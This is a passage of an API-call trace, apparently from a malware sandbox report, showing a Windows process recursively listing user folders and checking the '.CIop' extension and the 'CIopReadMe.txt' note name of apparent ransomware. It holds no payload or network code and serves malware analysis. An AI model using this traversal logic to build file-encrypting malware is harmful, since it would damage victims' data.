returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0148.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0148.769] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0148.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0148.769] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dd78 [0148.769] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0148.769] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0148.769] lstrlenW (lpString=".CIop") returned 5 [0148.769] lstrlenW (lpString=".CIop") returned 5 [0148.769] lstrlenW (lpString=".CIop") returned 5 [0148.769] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.769] lstrlenW (lpString=".CIop") returned 5 [0148.769] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0148.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0148.769] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67db78 [0148.769] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0148.769] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0148.769] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.769] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.769] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.769] lstrcmpW (lpString1="pQzyM", lpString2="..") returned 1 [0148.769] lstrcmpW (lpString1="pQzyM", lpString2=".") returned 1 [0148.769] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0148.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0148.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0148.769] SetErrorMode (uMode=0x1) returned 0x1 [0148.770] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0148.770] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0148.770] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0148.770] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0148.770] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dc78 [0148.770] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0148.770] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0148.770] lstrlenW (lpString=".CIop") returned 5 [0148.770] lstrlenW (lpString=".CIop") returned 5 [0148.770] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.770] lstrlenW (lpString=".CIop") returned 5 [0148.770] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0148.770] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0148.770] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0b8 [0148.770] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0148.770] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0148.770] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.770] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.770] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0148.770] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0148.771] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.771] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.771] lstrcmpW (lpString1="_eEl", lpString2="..") returned 1 [0148.771] lstrcmpW (lpString1="_eEl", lpString2=".") returned 1 [0148.771] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0148.771] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0148.771] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0148.771] SetErrorMode (uMode=0x1) returned 0x1 [0148.771] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0148.771] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0148.771] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0148.771] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0148.771] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dd78 [0148.771] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0148.771] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0148.771] lstrlenW (lpString=".CIop") returned 5 [0148.771] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.771] lstrlenW (lpString=".CIop") returned 5 [0148.771] lstrlenW (lpString=".CIop") returned 5 [0148.771] lstrlenW (lpString=".CIop") returned 5 [0148.771] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0148.771] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0148.771] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67deb8 [0148.771] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0148.771] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0148.772] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.772] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.772] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.772] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0148.772] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.772] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0148.772] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.772] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0148.772] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0148.772] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0148.772] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0148.772] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.772] SetErrorMode (uMode=0x1) returned 0x1 [0148.772] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.772] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.772] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.772] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0148.772] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0148.772] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0148.772] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0148.773] lstrlenW (lpString="ntuser.dat") returned 10 [0148.773] lstrlenW (lpString="ntuser.dat") returned 10 [0148.773] lstrlenW (lpString="ntuser.dat") returned 10 [0148.773] lstrlenW (lpString="ntuser.dat") returned 10 [0148.773] lstrlenW (lpString="ntuser.dat") returned 10 [0148.773] lstrlenW (lpString="ntuser.dat") returned 10 [0148.773] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.773] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0148.773] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0148.773] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0148.773] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0148.773] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.773] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.773] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0148.773] SetErrorMode (uMode=0x1) returned 0x1 [0148.773] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0148.773] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0148.773] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\AppData\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0148.773] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0148.773] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.773] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0148.773] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0148.773] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0148.773] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0148.774] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.774] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0148.774] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0148.774] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.774] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.774] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0148.774] SetErrorMode (uMode=0x1) returned 0x1 [0148.774] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0148.774] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0148.774] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Application Data\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0148.774] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0148.774] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.774] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0148.774] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0148.774] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0148.774] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0148.774] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.774] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0148.774] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0148.774] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.774] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.774] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0148.774] SetErrorMode (uMode=0x1) returned 0x1 [0148.774] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0148.774] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0148.774] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Cookies\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0148.774] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0148.774] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.774] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0148.774] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0148.775] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0148.775] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0148.775] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.775] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0148.775] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0148.775] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.775] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.775] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0148.775] SetErrorMode (uMode=0x1) returned 0x1 [0148.775] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0148.775] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0148.775] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Desktop\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0148.775] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0148.775] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.775] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0148.775] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0148.775] lstrlenW (lpString="Desktop") returned 7 [0148.775] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.775] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0148.775] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0148.775] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.775] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0148.775] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0148.775] lstrlenW (lpString="Desktop") returned 7 [0148.775] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.775] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.775] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0148.775] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0148.775] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.775] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.775] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0148.776] SetErrorMode (uMode=0x1) returned 0x1 [0148.776] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0148.776] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0148.776] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Documents\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0148.776] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0148.776] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.776] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0148.776] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0148.777] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0148.777] lstrcatW (in: 